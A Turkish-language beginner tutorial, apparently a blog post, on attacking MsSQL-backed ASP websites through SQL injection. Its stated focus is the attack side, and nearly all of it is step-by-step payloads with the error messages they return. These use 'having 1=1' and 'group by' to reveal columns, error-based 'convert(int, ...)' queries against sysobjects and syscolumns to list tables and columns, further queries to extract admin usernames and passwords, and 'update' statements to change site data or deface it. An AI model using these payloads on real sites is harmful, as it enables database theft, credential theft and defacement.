MsSQL Injection Yeni Başlayanlara

MsSQL SQL Injection İçin En Uygun Sistemdir.Çünkü MsSQL Injectionda İş Access Gibi Deneme/Yanılma Değildir.

Bir Sonuç Varsa %100 dür ( Her türlü olumlu ya da olumsuz)

Accessde iş tahmindir,fakat mssql böyle değildir.

MsSQL Injection İle çok şey yapabilirsiniz.

Mesela ?

MsSQL Root ( Root Olma )

MssQL Update (Update yapma )

MsSQL **** ( **** atma index yedirme )

vs. vs. bir çok şey yapabilirsiniz.

Fakat ben işin attack kısmına bakacağım.

Hayde Bismillah Deyip Başlayalım.


Sitemize girdik,

http://www.x.com/a.asp?id=1

Sonuna ’a yazdık ve enterladık >> http://www.x.com/a.asp?id=1’a

Bize şöyle bir hata vermesi lazım,

—————————————————

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ’a’.

————————————————

Bu hatayı aldık mı ? İşte bu siteye her bir şeyi yapabiliriz.

Mesela?

Update yapabiliriz

Update yapılması için tablo ve kolon adlarını bilmemiz gerekir.

Sitemizin linkinin yanına having 1=1 yazalım vede tablo ve kolon adını öğrenelim.

Yani http://www.x.com/a.asp?id=1 having 1=1

Column ’Admin.ID’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Şöyle bir hata aldık.Bu şu demektir.

Admin tablosunda ID adlı bir kolon var.Diğer kolon adlarını bulmak için;

Linkimizin yanına group by title having 1=1 ekleyelim.

Yani >>www.x.com/a.asp?id=1 group by title having 1=1

Böylece diğer kolonları da bulabiliriz.

Ardından aşağıdaki gibi de update yapabiliriz.

update TabloAdı set KolonAdı=’Buraya yazmak istediğiniz bir yazıyı yazın’;–

şekilde update yapabiliriz.

Tablo adlarına tek tek bakarak sitenin gizli bilgilerini(Şifre vs.) alabiliriz

Sitemizin linkinin yanına and 1=convert(int,(select top 1 name from sysobjects)) yazalım ve de karşımıza çıkan ilk tablo adını bulalım.

Yani;

http://www.x.com/a.asp?id=1 and 1=convert(int,(select top 1 name from sysobjects))

Şöyle bir hata vermesi lazım;

————————————————————

Microsoft OLE DB Provider for SQL Server error ’80040e07’

Conversion failed when converting the nvarchar value ’AdminVerify’ to data type int.

——————————————————

Üstteki AdminVerify karşımıza çıkan ilk tablodur.Büyük ihtimal bütün şifreler vs. orda

Diyelim AdminVerify çıkmadı.Poll Diye bi tablo çıktı.Bu tabloda şifreler vs. yok.Ben nası ulaşabilirim?

Linkimizin yanına and 1=convert(int,(select top 1 name from sysobjects where name>’tablo adı’)) ekleyelim.Tablo adı bölümüne Üstteki İlk çıkan tablo adını yazalım ve de diğer tabloyu çıkartalım.

İşte böyle gide gide bulabiliriz.

ya da tablo adı bölümüne a yazalım.Böylece “a” karakterinden büyük olan ilk tablonun adını öğrenebiliriz.

Mesela ben bi ara u yazdım ve de users adlı bi tablo olduğunu fark ettim.

Ama yinede en garantili yok üstteki gibidir.

Şimdi kolon adı bulma,

Örnek tablomuz AdminVerify olsun.

and 1=convert(int, (select top 1 name from syscolumns where colid=1 and id=(select top 1 id from sysobjects where xtype=’u’ and name=’tablo adı’)))

Linkimizin ucuna bunu ekleyelim.Sağ tarafta bulunan tablo adı yerine AdminVerify yazalım.

Böylece AdminVerify adlı tablomuzdan çıkan ilk kolon adını bulabiliriz.

üstteki colid=1 yerini colid=2 yapalım.Böylece 2. kolon adını bulabiliriz.3 yapalım , 3. kolon adını bulabiliriz.

Her şeyi bulduk diyelim.Nasıl username ve pass çıkarıcaz?

and 1=convert(int,(select top 1 KolonADı from Tablo Adı))

Linkimizin yanına bunu ekleyelim.

Kolon adı yerine kolon adımızı (Örnek : ID )

tablo adımızın yerine de tablo adını ( Örnek : AdminVerify)

Yorum bırakın